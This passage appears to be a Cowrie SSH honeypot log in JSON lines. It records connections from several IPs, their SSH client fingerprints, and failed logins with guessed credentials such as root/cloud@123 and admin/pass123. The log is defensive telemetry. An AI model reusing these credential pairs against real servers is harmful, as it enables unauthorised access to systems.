{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:32.217295Z","src_ip":"43.157.90.107","session":"52b98c1c1cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":35726,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb7e7bba853","protocol":"ssh","message":"New connection: 95.240.192.149:35726 (10.17.0.5:22) [session: fdb7e7bba853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:37.167015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:37.171990Z","src_ip":"95.240.192.149","session":"fdb7e7bba853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:37.280737Z","src_ip":"95.240.192.149","session":"fdb7e7bba853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mxuser","password":"mxuser","message":"login attempt [mxuser/mxuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:37.748485Z","src_ip":"95.240.192.149","session":"fdb7e7bba853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:38.859978Z","src_ip":"95.240.192.149","session":"fdb7e7bba853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":49876,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5e9fe2bae21","protocol":"ssh","message":"New connection: 13.67.236.135:49876 (159.203.135.109:22) [session: a5e9fe2bae21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:52.762701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:52.766971Z","src_ip":"13.67.236.135","session":"a5e9fe2bae21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:52.811884Z","src_ip":"13.67.236.135","session":"a5e9fe2bae21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud@123","message":"login attempt [root/cloud@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:53.022021Z","src_ip":"13.67.236.135","session":"a5e9fe2bae21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:13:54.069227Z","src_ip":"13.67.236.135","session":"a5e9fe2bae21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":58416,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d25c3af8ab","protocol":"ssh","message":"New connection: 43.157.90.107:58416 (10.17.0.5:22) [session: 38d25c3af8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:19.079140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:19.084009Z","src_ip":"43.157.90.107","session":"38d25c3af8ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:19.176425Z","src_ip":"43.157.90.107","session":"38d25c3af8ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testusertestuser","message":"login attempt [testuser/testusertestuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:19.561447Z","src_ip":"43.157.90.107","session":"38d25c3af8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:20.652774Z","src_ip":"43.157.90.107","session":"38d25c3af8ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.240.192.149","src_port":50108,"dst_ip":"10.17.0.5","dst_port":22,"session":"9db429d9887b","protocol":"ssh","message":"New connection: 95.240.192.149:50108 (10.17.0.5:22) [session: 9db429d9887b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:29.429419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:29.433161Z","src_ip":"95.240.192.149","session":"9db429d9887b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:29.557572Z","src_ip":"95.240.192.149","session":"9db429d9887b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin79","message":"login attempt [root/admin79] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:30.028308Z","src_ip":"95.240.192.149","session":"9db429d9887b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:31.144773Z","src_ip":"95.240.192.149","session":"9db429d9887b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":51672,"dst_ip":"159.203.135.109","dst_port":22,"session":"b83f7bf99a92","protocol":"ssh","message":"New connection: 13.67.236.135:51672 (159.203.135.109:22) [session: b83f7bf99a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:52.071003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:52.076113Z","src_ip":"13.67.236.135","session":"b83f7bf99a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:52.121023Z","src_ip":"13.67.236.135","session":"b83f7bf99a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass123","message":"login attempt [admin/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:52.326569Z","src_ip":"13.67.236.135","session":"b83f7bf99a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.177.199","src_port":32844,"dst_ip":"10.17.0.5","dst_port":22,"session":"b695598229bf","protocol":"ssh","message":"New connection: 43.165.177.199:32844 (10.17.0.5:22) [session: b695598229bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:52.369579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:52.374176Z","src_ip":"43.165.177.199","session":"b695598229bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:52.560311Z","src_ip":"43.165.177.199","session":"b695598229bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"PASSWORD","message":"login attempt [ubuntu/PASSWORD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:53.333410Z","src_ip":"43.165.177.199","session":"b695598229bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:53.372348Z","src_ip":"13.67.236.135","session":"b83f7bf99a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:54.522701Z","src_ip":"43.165.177.199","session":"b695598229bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":16742,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b2119c2802","protocol":"ssh","message":"New connection: 79.55.224.44:16742 (10.17.0.5:22) [session: 16b2119c2802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:57.413370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:57.420050Z","src_ip":"79.55.224.44","session":"16b2119c2802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:57.536945Z","src_ip":"79.55.224.44","session":"16b2119c2802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qa2ws3ed","message":"login attempt [ubuntu/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:58.032568Z","src_ip":"79.55.224.44","session":"16b2119c2802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:14:59.150654Z","src_ip":"79.55.224.44","session":"16b2119c2802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":47254,"dst_ip":"10.17.0.5","dst_port":22,"session":"23eb722cb103","protocol":"ssh","message":"New connection: 194.59.206.2:47254 (10.17.0.5:22) [session: 23eb722cb103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:03.883862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:04.071511Z","src_ip":"194.59.206.2","session":"23eb722cb103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:04.082935Z","src_ip":"194.59.206.2","session":"23eb722cb103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:04.382925Z","src_ip":"194.59.206.2","session":"23eb722cb103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":47380,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7805fb07b0b","protocol":"ssh","message":"New connection: 43.157.90.107:47380 (10.17.0.5:22) [session: b7805fb07b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:06.609221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:15:06.615735Z","src_ip":"43.157.90.107","session":"b7805fb07b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521